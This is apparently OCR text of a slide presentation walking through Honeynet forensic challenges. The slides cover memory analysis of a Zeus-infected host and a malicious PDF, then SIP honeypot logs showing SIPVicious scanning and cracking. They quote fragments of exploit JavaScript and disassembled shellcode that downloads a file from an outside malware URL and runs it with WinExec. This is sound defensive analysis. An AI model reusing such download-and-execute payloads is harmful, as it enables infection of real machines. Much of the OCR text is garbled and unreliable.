franck@IDIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3 Beta$ python volatility pslist -f ../Bob.vmem
Shome/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3 Beta/forensics/win32/crashdump.py:31: DeprecationWar
ning: the sha module is deprecated; use the hashlib module instead
import sha
Name Pid PPid Thds Hnds Time
System - 6] 58 573 Thu Jam 81 B0:80:
sSmss.exe 548 Ll 3 21 ri Feb 26 03:34:
C5rs5.exe 612 12 423 Feb 26 83:34:
winlogon.exe 6544 21 521 Feb 26 ©3:34:
services.exe 688 16 293 Feb 26 83:34:
lsass.exe 788 22 416 Feb 26 083:34:
vmacthlp.exe 852 1 35 Feb 26 ©3:34:
svchost.exe 888 28 340 Feb 26 83:34:
svchost.exe 948 18 276 Feb 26 83:34:
svchost.exe 18940 83 1515 Feb 26 83:34:
svchost.exe 1180 6 96 Feb 26 ©3:34:
svchost.exe 1244 19 239 Feb 26 83:34:
spoolsv.exe 1460 11 129 Feb 26 ©3:34:
vmtoolsd.exe 1628 220 Feb 26 ©3:34:
VMUpgradeHelper 1836 108 Feb 26 083:34:
alg.exe 2024 138 Feb 26 ©3:34:
explorer.exe 1756 345 Feb 26 83:34:
VMwareTray.exe 1108 59 Feb 26 83:34:
VMwarelser.exe 1116 179 Feb 26 83:34:
wscntfy.exe 1132 Feb 26 ©3:34:
msiexec.exe 244 Feb 26 03:46:
msiexec.exe 452 Feb 26 ©3:46:
wuauclt.exe 440 Feb 27 19:48:
wuauclt.exe 232 Feb 27 19:49:
firefox.exe 888 Feb 27 28:11:
AcroRd32.exe 1752 Feb 27 28:12:
svchost.exe 1384 Feb 27 28:12:

Here the running processes list

wn

Ia

181

[ R T T T BT N T e R T R T T T e T e R
T e = e e e i al o wal o O S S  R S A e

T R B B B e B o B o B o B e e e e B e B s e B
TRV T T T T T T e T T B e T T T T B T B T

D0 W DU

af]
—+
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Memory dump inspection with Volatility...
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Strange behavior can be observed...

1

oo oo oo
oo oo oo
oo oo oo

= R e S
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Malicious PDF analysis

ources/Honeynet/Challenge 3/foremost/pdf$ python ../../pdfid.py -s 006
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Malicious Javascript deobfuscation & analysis

edmgE=sLly (" \u u ) swnlle (edmgR. length<dd E+=efimgE; this.collabStore=Co
llab.collectEmailInfo({subj:"" ,msqg:eHmgR});
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Shellcode extraction from malicious javascripts

[ =

r ITEE M4 s e T 5
1 abJdd WS Ll Sl Joa

- e ——

f k! TE

- L -

[==]
[
(
F

s
§

Explorer 6.0

R

. ASCIT "hitp://search-petwork-plus.com/load, php?=atst=Internet
=2 Lil

j L2
- - e
¥ o N B ¥
- - R A . :
i C8 FE55 04 BP+4 ; calls UBLDownlosdToFilal
- o _
L =0 A0
- .
[ CC 3
- o C
1 | 1)
"l o
- _ ~ . .
; = L e _
L . 2 0 r 1LEMpD path|va. Se
- . o e
I- —'I :"\- T el o’ -I-—
- . I e - .
i DS FF55 04 EEP+4 ; call= HinExec
- o .
"l - -
- S - _
L L m s L
- - T A B
. == 7 = T e AT
L Lk, rraa Us : | EOE+4 r Ccall =t
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Malware extraction from injected proces

A Zeus/Zbot infection
IS found...

A banking trojan causing
« Banking Troubles »

ses memory

F-Prot 4.5.1.85 2010.04.24 W32/RAgent.CC.gen!Eldorado
F-Secure 9.0.15370.0 2010.04.24 [Trojan.Generic.3467020
Fortinet 4.0.14.0 2010.04.21 W32/Zbot .HI!tx

GData 21 2010.04.24 Trojan.Generic.3467020
Ikarus T3.1.1.80.0 2010.04.24 PW5.Win32

Jiangmin 13.0.900 2010.04.24 |TrojanSpy.Zbot.dyf

Kaspersky 7.0.0.125 2010.04.24 (Trojan-Spy.Win32.Zbot . ahke
Mchfee 5.400.0.1158 2010.04.24 PWS-Zhot.gen.bd

G;f:;:;im 6.8.5 2010.04.23 |Trojan.Crypt.XPACK. Gen
Microsoft 1.5703 2010.04.24 PWS:Win32/Zbot.gen!W

HOD32 5057 2010.04.24 |a variant of Win32/Spy.Zbot.UN
Hoxrman 6.04.11 2010.04.24 W32/Zbot.DEB

nProtect 2010-04-24.01 2010.04.24 (Trojan-Spy/W32.ZBot.118784 .AT
Panda 10.0.2.7 2010.04 .24 (Generic Trojan

PCTools 7.0.3.5 2010.04.24 |-

Prevx 3.0 2010.04.25 |-

Rising 22.44.05.04 2010.04.24 [Trojan.Win32.Generic. 51FCATA2
Sophos 4.53.0 2010.04.25 |Troj/Zbhot-HT

Sinmhelt (217 201N0.N4 .24 [Trodan-Sov. . Wini? . Zhot . gen (v)
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Official solution

http://www.honeynet.org/files/Forensic
Challenge 3 -
Banking Troubles Solution.pdf
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Authors
Ben Reardon (Australian chapter)
Sjur Eivind Usken (Norwegian chapter)
Objective
VoIP (SIP) attacks analysis
Challenge Material
Log file + PCAP file
Tools I've used to solve it (I hope !):
Wireshark/Tshark, Custom scripts, PicViz, ...
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1 Source: 210.184.X.Y:1083
2 Datetime: 2010-85-02 01:43:05.606584
3

Log of a SIP honeypot
5

. 6 OPTIONS sip:18@@honey.pot.IP.removed SIP/2.0
Wa.S glven 7 Via: SIP/2.8/UDP 127.8.8.1:5861;branch=z9hG4bK-2159139916; rport
LR 8 Content-Length: @

9 From: "sipvicious"<sip:186@1.1.1.1>; tag=X_removed
10 Accept: application/sdp

11 User-Agent: friendly-scanner

12 To: "sipvicious"<sip:188@1.1.1.1>

13 Contact: sip:100@127.08.0.1:5861

14 CS5eq: 1 OPTIONS

1 15 Call-ID: 845752980453913316694142
89833 IIneS !!! 16 Max-Forwards: 70

17

18

19

20

21 -- -
22 Source: 210.184.X.Y:4956

A CUStom tOOI was needed %3 Datetime: 2016-85-82 01:43:12.488811

25 Message:

I 26
tO parse It- . 27 REGISTER sip:3428948518@honey.pot.IP.removed SIP/2.0
28 Via: SIP/2.0/UDP 127.8.0.1:5887;branch=z9hG4bK-1189344537; rport

29 Content-Length: @

30 From: "3428948518"<sip:3428948518@honey.pot.IP.removed>; tag=X_removed
31 Accept: application/sdp

32 User-Agent: friendly-scanner

33 To: "3428948518"<sip:3428948518@honey.pot.IP. removed=

34 Contact: sip:3428948518@honey.pot.IP.removed

35 CSeq: 1 REGISTER

36 Call-ID: 3999673782

37 Max-Forwards: 70

38
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Fichier Egiticm Affichage Terminal Aide
ODIN:~/Analysis/Sources/Honeynet/Challenge 4% ruby SIPlogparser

S1p log file [REQUIRED]

- names targetted (To: header field)

- with Picviz

SIPlogparser.rb
« Awful » but working ruby script.
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franck@0DIN:~/Analysis/Sources/Honeynet/Challenge 4% ruby SIPlogparser.rb -r logs v3.txt -z
Parsing logs wv3.txt

: General Statistics :::

= ¥:5114 : 2607 messages sent
lees Some Stats ¥:5281 : 965 messages sent
.42, 147357 : 18 messages sent
15329 : 94 messages sent
15264 : 1 messages sent
15253 : 1 messages sent
15289 : 170 messages sent
14956 : 45 messages sent
15265 : 78 messages sent
15254 : 98 messages sent
:1883 : 1 messages sent
15200 : 94 messages sent
15190 : 94 messages sent

X
Y
Y
¥
Y
Y
Y
¥
Y
Y
Y

ol e e e e e

: S5IP Methods Statistics :::

SIP INVITE messages

SIP SUBSCRIBE messages
4254 SIP REGISTER messages
1 SIP OPTIONS messages




VENOUEWN

1@
11
12
13
14
15
16
17
18

3e
31
32
33
34
35
36
37
38
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Source: 218.184.X.Y:1883
Datetime: 2010-985-02 01:43:05.606584

Message:

OPTIONS sip:l@eghoney.pot.IP.removed SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:5061;branch=z9hG4bK-2159139916; rport

Generates PicViz .pcyv file

Accept: application/sdp
User-Agent: friendly-scanner

To: "sipvicious"<sip:100@1.1.1.1>
Contact: sip:108@127.6.8.1:5861
CSeq: 1 OPTIONS

Call-ID: 845752980453913316694142
Max-Forwards: 7@

Source: 210.184.X.Y:4956
Datetime: 2018-85-02 01:43:12.488811

Message:

REGISTER sip:3428948518@honey.pot.IP.removed SIP/2.0

Via: SIP/2.0/UDP 127.0.0.1:5087;branch=z8hG4bK-1189344537; rport
Content-Length: @

From: "3428948518"<sip:3428948518@honey.pot.IP.removed>; tag=X_removed
Accept: application/sdp

User-Agent: friendly-scanner

To: "3428948518"<sip:3428948518@honey.pot.IP.removed=>

Contact: sip:3428948518ghoney.pot.IP.removed

CSeq: 1 REGISTER

Call-ID: 3999673782

Max-Forwards: 70

1

2 header {

3 title="SIP Messages Graph"

4 }

5 axes {

6 enum source [label="Sources"];

7 enum port [label="Port"];

8 enum ua [label="User-agent"];

9 enum contact [label="Contact",print="false"];

10 enum method [label="SIP Method"];

11 enum datetime [label="Datetime"];

12 enum exten [label="Extensions"];

13 }

14

15 data {

16 source = "210.184.X.Y",port="1883" ,ua="friendly-scanner",contact="sip:108@127.0.0.1:5061" ,method="0PTIONS" ,datetime="2010-85-02 01:43:05" ,exten="180";

17 source "210.184.X.Y",port="4956",ua="friendly-scanner”,contact :3428948518@honey.pot.IP.removed”,method="REGISTER" ,datetime="2010-85-02 01:43:12",exten="3428948518";
18 source "218.184.X.Y",port="5114" ,ua="friendly-scanner”, contact :1729240413@honey . pot.IP. removed”,method="REGISTER" ,datetime="2010-05-82 01:43:12",exten="1729240413";
19 source "210.184.X.Y",port="4956" ,ua="friendly-scanner", contac :admin@honey.pot.IP.removed",method="REGISTER" ,datetime="2010-05-02 01:43:12",exten="admin";
20 source "2168.184.X.Y",port="4956" ,ua="friendly-scanner", contact: :info@honey.pot.IP. removed",method="REGISTER" ,datetime="2010-85-02 81:43:13" ,exten="info";
21 source "210.184.X.Y",port="4956",ua="friendly-scanner”,contact :test@honey.pot.IP.removed” ,method="REGISTER" ,datetime="2010-085-02 ©1:43:13" ,exten="test";
22 source "210.184.X.Y",port="4956" ,ua="friendly-scanner”, contac :postmaster@honey.pot.IP.removed”,method="REGISTER",datetime="2010-05-02 01:43:13",exten="postmaster"”;
23 source = "210.184.X.Y",port="4956",ua="friendly-scanner",contact="sip:sales@honey.pot.IP.removed",method="REGISTER",datetime="2010-85-82 081:43:13",exten="sales";
24 source "2168.184.X.Y",port="4956" ,ua="friendly-scanner", contact: :service@honey.pot.IP.removed",method="REGISTER" ,datetim 2010-85-82 01:43:13", exte service
25 source "218.184.X.Y",port="4956",ua="friendly-scanner”, contact :support@honey.pot.IP. removed”,method="REGISTER" ,datetim 2018-85-02 81:43:13",exten="support
26 source = "210.184.X.Y",port="4956",ua="friendly-scanner”,contact="sip:marketing@honey.pot.IP.removed",method="REGISTER" ,datetime="2010-05-82 01:43:13",exten="marketing";
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#4 : VolP Challenge

Sources Port User-agent Contact SIP Method
5253
5281
SUBSCRIBE
ﬁ:l.ngmmmr OPTIONS

89.42.194.X Zoiper rev.6751

INVITE

PicViz graph reveals interresting points...
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#4 : VolP Challenge

Sources Port User-agent Contact SIP Method Datetime @ Extensions
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An « extension scan » made with svwar from the
SIPVicious Tools Suite.
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#4 : VolP Challenge
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Filtering a bit, now evidences appear...
SIPVicious — svcrack was used against a small
subset of extensions !
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#4 : VolP Challenge
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The SIP server (honeypot) was used by an attacker
to call international phone numbers...
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#4 : VolP CHALLENGE

Official solution

To be published...
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Conclusion

For the Beginners :

Challenges are a good way to start
learning tools and techniques to
analyze threats.

For the Experts :

A good way to share your knowledge and
findings with the community.



— T H E H ONEYNET P R OJETCT

Thank You

Questions ?

http:/www.honeynet.org/challenges



